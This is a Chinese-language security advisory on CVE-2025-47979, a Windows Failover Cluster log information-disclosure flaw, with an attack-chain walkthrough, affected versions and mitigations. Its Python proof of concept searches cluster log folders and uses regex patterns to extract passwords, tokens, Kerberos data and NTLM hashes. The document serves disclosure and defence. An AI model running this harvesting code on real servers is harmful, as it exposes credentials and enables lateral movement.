IPBUF安全漏洞报告
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CVE-2025-47979 CVSS 5.5 中危

CVE-2025-47979 Windows故障转移集群日志敏感信息泄露漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-47979
漏洞类型
敏感信息泄露(日志信息泄露)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Microsoft Windows Failover Cluster(Windows故障转移集群)

相关标签

CVE-2025-47979信息泄露日志泄露Windows故障转移集群Failover ClusterMicrosoft本地攻击低权限中危漏洞

漏洞概述

CVE-2025-47979是微软Windows故障转移集群(Windows Failover Cluster)组件中存在的一个敏感信息泄露漏洞。该漏洞的CVSS 3.1评分为5.5分,属于中危级别漏洞。其根本原因在于Windows故障转移集群服务在正常运行过程中,会将包含敏感信息的调试数据、配置信息或凭证相关内容写入日志文件中,而日志文件的权限控制或清理机制存在缺陷,导致本地低权限的授权攻击者能够读取这些日志文件,从而获取本不应公开的敏感信息。

该漏洞由微软安全响应中心(MSRC)通过[email protected]渠道披露,于2025年10月14日正式公开。该漏洞的攻击向量为本地攻击(AV:L),攻击者需要具备低权限的本地账户(PR:L)即可发起攻击,无需用户交互(UI:N)。一旦成功利用,攻击者可以获取高机密性的信息(C:H),但不会对系统完整性和可用性造成影响。

Windows故障转移集群是Windows Server系统中用于提供高可用性和灾难恢复功能的关键组件,广泛应用于企业级服务器环境中。由于该漏洞允许本地用户读取可能包含集群配置、凭证或其他敏感操作信息的日志文件,因此在多用户环境或共享服务器场景中可能带来较大的安全风险。管理员应及时关注微软发布的安全更新,并采取相应的防护措施。

技术细节

Windows故障转移集群(Failover Cluster)是Windows Server中的核心高可用性组件,负责管理集群节点之间的故障检测、故障转移和资源调度。在集群运行过程中,集群服务(ClusSvc)会生成大量的日志和诊断信息,用于排查故障和监控系统状态。

该漏洞的技术原理在于:Windows故障转移集群服务在记录日志时,未能对日志内容中的敏感信息进行适当的过滤或脱敏处理。这些敏感信息可能包括但不限于:集群节点的认证令牌、Kerberos票据信息、服务账户凭据、网络配置详情、集群共享卷(CSV)的访问凭据、以及其他在集群通信过程中使用的安全敏感数据。

攻击者利用此漏洞的步骤如下:首先,攻击者需要拥有一个本地低权限账户(普通用户权限即可),然后通过文件系统访问权限读取故障转移集群生成的日志文件。由于日志文件可能存储在C:\Windows\Cluster\Reports等目录下,如果文件权限配置不当,低权限用户可能能够读取这些日志。攻击者通过对日志内容的分析,可以提取出敏感信息,如集群节点的计算机账户密码哈希、服务账户凭据等,进而可能用于后续的横向移动攻击或权限提升。

该漏洞的CVSS向量为CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N,表明攻击复杂度低(AC:L),无需用户交互,且影响范围为系统级(S:U),主要影响是机密性泄露。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者首先需要获得目标Windows服务器上的本地账户访问权限,该账户可以是低权限的普通用户账户(PR:L),无需管理员权限即可发起攻击。
STEP 2
步骤2:定位集群日志文件
攻击者浏览Windows故障转移集群服务的日志文件目录(如C:\Windows\Cluster\Reports、C:\Windows\Cluster\Logs等),查找可读取的日志文件。
STEP 3
步骤3:读取日志内容
由于日志文件权限控制不当或敏感信息未被脱敏处理,攻击者能够成功读取包含集群运行信息的日志文件内容。
STEP 4
步骤4:提取敏感信息
攻击者从日志中提取敏感信息,包括集群配置信息、服务账户凭据、Kerberos票据、NTLM哈希等高价值数据。
STEP 5
步骤5:利用泄露信息进行后续攻击
攻击者利用获取的敏感信息进行横向移动、权限提升或对集群环境发起进一步的攻击,如伪造集群节点身份或访问集群共享资源。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-47979 - Windows Failover Cluster Log Information Disclosure # PoC for demonstrating sensitive information exposure in cluster log files # Note: This PoC demonstrates how a low-privileged local user can attempt to # access sensitive information from Windows Failover Cluster log files. import os import sys import re from pathlib import Path def check_cluster_logs(): """ Check for accessible Windows Failover Cluster log files that may contain sensitive information. """ # Common paths where Windows Failover Cluster stores logs cluster_log_paths = [ r"C:\Windows\Cluster\Reports", r"C:\Windows\Cluster\Logs", r"%SystemRoot%\Cluster\Reports", r"C:\Windows\System32\LogFiles\Cluster", r"C:\ProgramData\Microsoft\Windows\Cluster", ] accessible_logs = [] for log_path in cluster_log_paths: expanded_path = os.path.expandvars(log_path) path = Path(expanded_path) if path.exists(): print(f"[*] Found cluster log directory: {expanded_path}") try: # Try to list directory contents for log_file in path.iterdir(): if log_file.is_file(): # Check if file is readable by current user if os.access(str(log_file), os.R_OK): print(f"[+] Readable log file: {log_file}") accessible_logs.append(str(log_file)) except PermissionError: print(f"[-] Access denied to: {expanded_path}") else: print(f"[-] Directory not found: {expanded_path}") return accessible_logs def extract_sensitive_info(log_file_path): """ Extract potentially sensitive information from cluster log files. Looks for patterns that may indicate credentials, tokens, or other sensitive data that should not be exposed. """ sensitive_patterns = [ (r'(?i)password\s*[=:]\s*(\S+)', 'Password'), (r'(?i)credential\s*[=:]\s*(\S+)', 'Credential'), (r'(?i)token\s*[=:]\s*(\S+)', 'Token'), (r'(?i)secret\s*[=:]\s*(\S+)', 'Secret'), (r'(?i)kerberos\s+(\S+)', 'Kerberos Info'), (r'(?i)ntlm\s+(\S+)', 'NTLM Hash'), (r'(?i)account\s*[=:]\s*(\S+)', 'Account Info'), (r'(?i)cluster\s+name\s*[=:]\s*(\S+)', 'Cluster Name'), (r'(?i)node\s+(\S+)', 'Node Info'), ] findings = [] try: with open(log_file_path, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() for pattern, info_type in sensitive_patterns: matches = re.findall(pattern, content) if matches: for match in matches: findings.append({ 'type': info_type, 'value': match[:50] + '...' if len(match) > 50 else match, 'file': log_file_path }) except Exception as e: print(f"[!] Error reading {log_file_path}: {e}") return findings def main(): print("=" * 70) print("CVE-2025-47979 - Windows Failover Cluster Log Disclosure Checker") print("=" * 70) print() # Check current user privileges import ctypes try: is_admin = ctypes.windll.shell32.IsUserAnAdmin() print(f"[*] Running as Administrator: {is_admin}") except: print("[*] Unable to determine privilege level") print() # Step 1: Find accessible cluster log files print("[Step 1] Searching for accessible cluster log files...") print("-" * 50) accessible_logs = check_cluster_logs() print() # Step 2: Extract sensitive information from found logs if accessible_logs: print("[Step 2] Analyzing log files for sensitive information...") print("-" * 50) all_findings = [] for log_file in accessible_logs: print(f"[*] Analyzing: {log_file}") findings = extract_sensitive_info(log_file) all_findings.extend(findings) print() print(f"[Results] Found {len(all_findings)} potentially sensitive items:") print("-" * 50) for finding in all_findings: print(f" Type: {finding['type']}") print(f" Value: {finding['value']}") print(f" File: {finding['file']}") print() else: print("[Result] No accessible cluster log files found.") print(" The system may be patched or logs are properly secured.") if __name__ == "__main__": main()

影响范围

Windows Server 2025 (受影响)
Windows Server 2022 (受影响)
Windows Server 2019 (受影响)
Windows Server 2016 (受影响)
Windows 11 Version 24H2 (受影响)
Windows 11 Version 23H2 (受影响)
Windows 10 Version 22H2 (受影响)

防御指南

临时缓解措施
在无法立即安装安全更新的情况下,建议采取以下临时缓解措施:1)审查并收紧集群日志文件所在目录的NTFS权限,确保仅管理员组和必要的系统账户具有读取权限;2)定期手动清理或归档集群日志文件,减少敏感信息暴露的时间窗口;3)限制本地普通用户账户的数量和权限,实施最小权限原则;4)启用详细审计日志,记录对集群相关目录和文件的访问行为,以便及时发现异常访问;5)监控集群日志文件目录的文件访问事件,使用EDR工具检测可疑的文件读取行为;6)考虑将集群日志重定向到安全的、受保护的日志服务器上,减少本地敏感信息的留存。

参考链接

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